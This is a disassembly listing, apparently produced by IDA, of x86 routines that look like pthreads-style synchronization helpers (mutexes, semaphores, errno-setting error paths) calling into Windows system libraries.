loc_432909:				; CODE XREF: ___:00432900j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_43291D
		cmp	eax, 1
		jz	short loc_43291D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43291D:				; CODE XREF: ___:0043290Fj
					; ___:00432914j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:004019D8j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432965
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432965
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432965:				; CODE XREF: ___:00432950j
					; ___:00432958j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432980	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_4329C5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_4329C0
		cmp	eax, 2
		jg	short loc_4329C0
		test	eax, eax
		jz	short loc_4329AC
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329AC:				; CODE XREF: sub_432980+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329C0:				; CODE XREF: sub_432980+1Aj
					; sub_432980+1Fj
		mov	eax, 16h


loc_4329C5:				; CODE XREF: sub_432980+12j
		pop	esi
		retn
sub_432980	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4329F0	proc near		; CODE XREF: sub_4020B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	loc_432A95
		push	edi
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432A95
		cmp	esi, 0FFFFFFF1h
		jle	short loc_432A30
		cmp	esi, 0FFFFFFFEh
		jge	short loc_432A30
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_432A42
; ---------------------------------------------------------------------------


loc_432A30:				; CODE XREF: sub_4329F0+2Fj
					; sub_4329F0+34j
		cmp	esi, 0Fh
		jge	short loc_432A42
		cmp	esi, 2
		jle	short loc_432A42
		mov	[esp+8+arg_8], 2


loc_432A42:				; CODE XREF: sub_4329F0+3Ej
					; sub_4329F0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_432A8E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		call	near ptr 27308FFh
		nop
		test	eax, eax
		jnz	short loc_432A82
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A82:				; CODE XREF: sub_4329F0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_432A8E:				; CODE XREF: sub_4329F0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A95:				; CODE XREF: sub_4329F0+19j
					; sub_4329F0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4329F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AD0	proc near		; CODE XREF: sub_40218Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_432B09
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_432B04
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_432B04
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432B04:				; CODE XREF: sub_432AD0+1Bj
					; sub_432AD0+23j
		mov	eax, 16h


loc_432B09:				; CODE XREF: sub_432AD0+12j
		pop	esi
		retn
sub_432AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B20	proc near		; CODE XREF: sub_401438j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B33
		cmp	eax, 2
		jg	short loc_432B33
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_432B33:				; CODE XREF: sub_432B20+6j
					; sub_432B20+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B60	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B73
		cmp	eax, 2
		jg	short loc_432B73
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_432B73:				; CODE XREF: sub_432B60+6j
					; sub_432B60+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432BA0:				; CODE XREF: ___:00401AC8j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432BE5
		nop
		call	near ptr 27308A1h
		cmp	esi, eax
		jz	short loc_432BE5
		push	esi
		push	0
		push	200h
		call	near ptr 2770316h
		nop
		test	eax, eax
		jnz	short loc_432BE5
		nop
		call	near ptr 27A08E3h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BE5:				; CODE XREF: ___:00432BA7j
					; ___:00432BB1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432BFE
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BFE:				; CODE XREF: ___:00432BEBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432C30:				; CODE XREF: ___:0040150Aj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432C75
		nop
		call	near ptr 27308A1h
		cmp	esi, eax
		jz	short loc_432C75
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2770316h
		test	eax, eax
		jnz	short loc_432C75
		nop
		call	near ptr 27A08E3h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432C75:				; CODE XREF: ___:00432C37j
					; ___:00432C41j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432CA0:				; CODE XREF: ___:00401B4Aj
		push	0
		nop
		call	near ptr 2811E0Eh
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432CC0	proc near		; CODE XREF: sub_401C76j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_432CDF
		mov	edi, 1
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432CDF:				; CODE XREF: sub_432CC0+Aj
		push	4
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432CF7
		mov	edi, 0Ch


loc_432CF7:				; CODE XREF: sub_432CC0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 2730201h
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_432D24
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D24:				; CODE XREF: sub_432CC0+4Fj
		test	edi, edi
		jz	short loc_432D36
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D36:				; CODE XREF: sub_432CC0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_432CC0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432D80	proc near		; CODE XREF: sub_401686j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_432DA5
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_432DA5
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		nop
		call	near ptr 28207FBh
		test	eax, eax
		jnz	short loc_432DB7
		mov	[edi], esi


loc_432DA5:				; CODE XREF: sub_432D80+8j
					; sub_432D80+Ej
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432DB7:				; CODE XREF: sub_432D80+21j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_432D80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DF0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		push	0
		push	eax
		call	near ptr 27603AFh
		nop
		cmp	eax, 102h
		jnz	short loc_432E35
		mov	esi, 0Bh
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E23:				; CODE XREF: sub_432DF0+7j
					; sub_432DF0+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E35:				; CODE XREF: sub_432DF0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_432DF0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E60	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0C436E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432E8D:				; CODE XREF: sub_432E60+7j
					; sub_432E60+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_432E60	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401898j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_432EF3
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432EF3:				; CODE XREF: sub_432ED0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_432F02
		or	ebx, 0FFFFFFFFh
		jmp	short loc_432F61
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_432F61
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_432F61
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_432F61
		dec	ebx


loc_432F61:				; CODE XREF: sub_432ED0+30j
					; sub_432ED0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D70
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 7EC33FE8h, 30899077h,	0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_432FE0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		call	near ptr 2730000h
		nop
		test	eax, eax
		jnz	short loc_43300F


loc_432FFF:				; CODE XREF: sub_432FE0+6j
					; sub_432FE0+Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_43300F:				; CODE XREF: sub_432FE0+1Dj
		xor	eax, eax
		retn
sub_432FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433030	proc near		; CODE XREF: sub_40204Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_433056
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_433056
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_433056
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 2730000h
		test	eax, eax
		jnz	short loc_433066


loc_433056:				; CODE XREF: sub_433030+6j
					; sub_433030+Cj ...
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_433066:				; CODE XREF: sub_433030+24j
		xor	eax, eax
		retn
sub_433030	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433080:				; CODE XREF: ___:00401433j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4330CD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4330CD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4330CD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 27603AFh
		cmp	eax, 102h
		jnz	short loc_4330B1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330B1:				; CODE XREF: ___:004330A8j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 2730000h
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330CD:				; CODE XREF: ___:00433088j
					; ___:0043308Ej ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433100:				; CODE XREF: ___:0040220Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433120:				; CODE XREF: ___:00402013j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433140:				; CODE XREF: ___:00401CB2j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433160	proc near		; CODE XREF: sub_401992j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E960
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433194
		push	esi
		push	ecx
		call	sub_4021EE
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E960
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433194:				; CODE XREF: sub_433160+17j
		test	eax, eax
		jnz	short loc_43319D
		mov	esi, 16h


loc_43319D:				; CODE XREF: sub_433160+36j
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_433160	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4331D0	proc near		; CODE XREF: sub_4021EEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4331EE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4331EE:				; CODE XREF: sub_4331D0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C26
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_433229
		mov	[esp+14h+var_4], 1


loc_43320B:				; CODE XREF: sub_4331D0+5Ej
					; sub_4331D0+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433240
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433229:				; CODE XREF: sub_4331D0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_43320B
		cmp	ebx, 1
		jnz	short loc_43320B
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: sub_4331D0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43325D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: sub_4331D0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A0F
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433293
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_433293
		mov	dword ptr [esi], 3


loc_433293:				; CODE XREF: sub_4331D0+9Ej
					; sub_4331D0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_4332AF
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332AF:				; CODE XREF: sub_4331D0+D2j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4331D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433310:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4333B5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4333B5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_433378
		cmp	dword ptr [esi], 3
		jnz	short loc_43335D
		lea	eax, [esi+4]
		push	eax
		call	sub_40222F
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4333AF


loc_433347:				; CODE XREF: ___:0043336Bj
		push	esi
		mov	dword ptr [edi], 0
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43335D:				; CODE XREF: ___:00433333j
		push	1
		push	0
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_433347
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433378:				; CODE XREF: ___:0043332Ej
		push	offset dword_50E960
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43339F
		push	offset dword_50E960
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43339F:				; CODE XREF: ___:00433386j
		push	offset dword_50E960
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_4333AF:				; CODE XREF: ___:00433345j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4333B5:				; CODE XREF: ___:0043331Bj
					; ___:00433325j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333F0:				; CODE XREF: ___:004021C1j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433451
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433451
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433411
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433456


loc_433411:				; CODE XREF: ___:00433402j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_433433


loc_433423:				; CODE XREF: ___:00433431j
		push	1
		push	2
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_433423


loc_433433:				; CODE XREF: ___:00433421j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43343E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43343E:				; CODE XREF: ___:00433438j
		cmp	eax, 3
		jnz	short loc_433451
		add	esi, 4
		push	esi
		call	sub_402225
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433451:				; CODE XREF: ___:004333F7j
					; ___:004333FDj ...
		mov	eax, 16h


loc_433456:				; CODE XREF: ___:0043340Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433480:				; CODE XREF: ___:00401AA5j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4334C1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4334C1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43349B


loc_433494:				; CODE XREF: ___:004334A7j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43349B:				; CODE XREF: ___:00433492j
		push	2
		push	1
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_433494
		dec	eax
		jz	short loc_4334BD
		dec	eax
		jnz	short loc_4334C1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334BD:				; CODE XREF: ___:004334AAj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334C1:				; CODE XREF: ___:00433487j
					; ___:0043348Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:00401933j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433540
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433511
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433545


loc_433511:				; CODE XREF: ___:00433502j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43353C
		dec	eax
		jz	short loc_433535
		dec	eax
		jnz	short loc_433540
		add	esi, 4
		push	esi
		call	sub_40177B
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433535:				; CODE XREF: ___:00433522j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43353C:				; CODE XREF: ___:0043351Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433540:				; CODE XREF: ___:004334F7j
					; ___:004334FDj ...
		mov	eax, 16h


loc_433545:				; CODE XREF: ___:0043350Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433570:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43359C
		mov	eax, [esi+20h]
		mov	ecx, 1
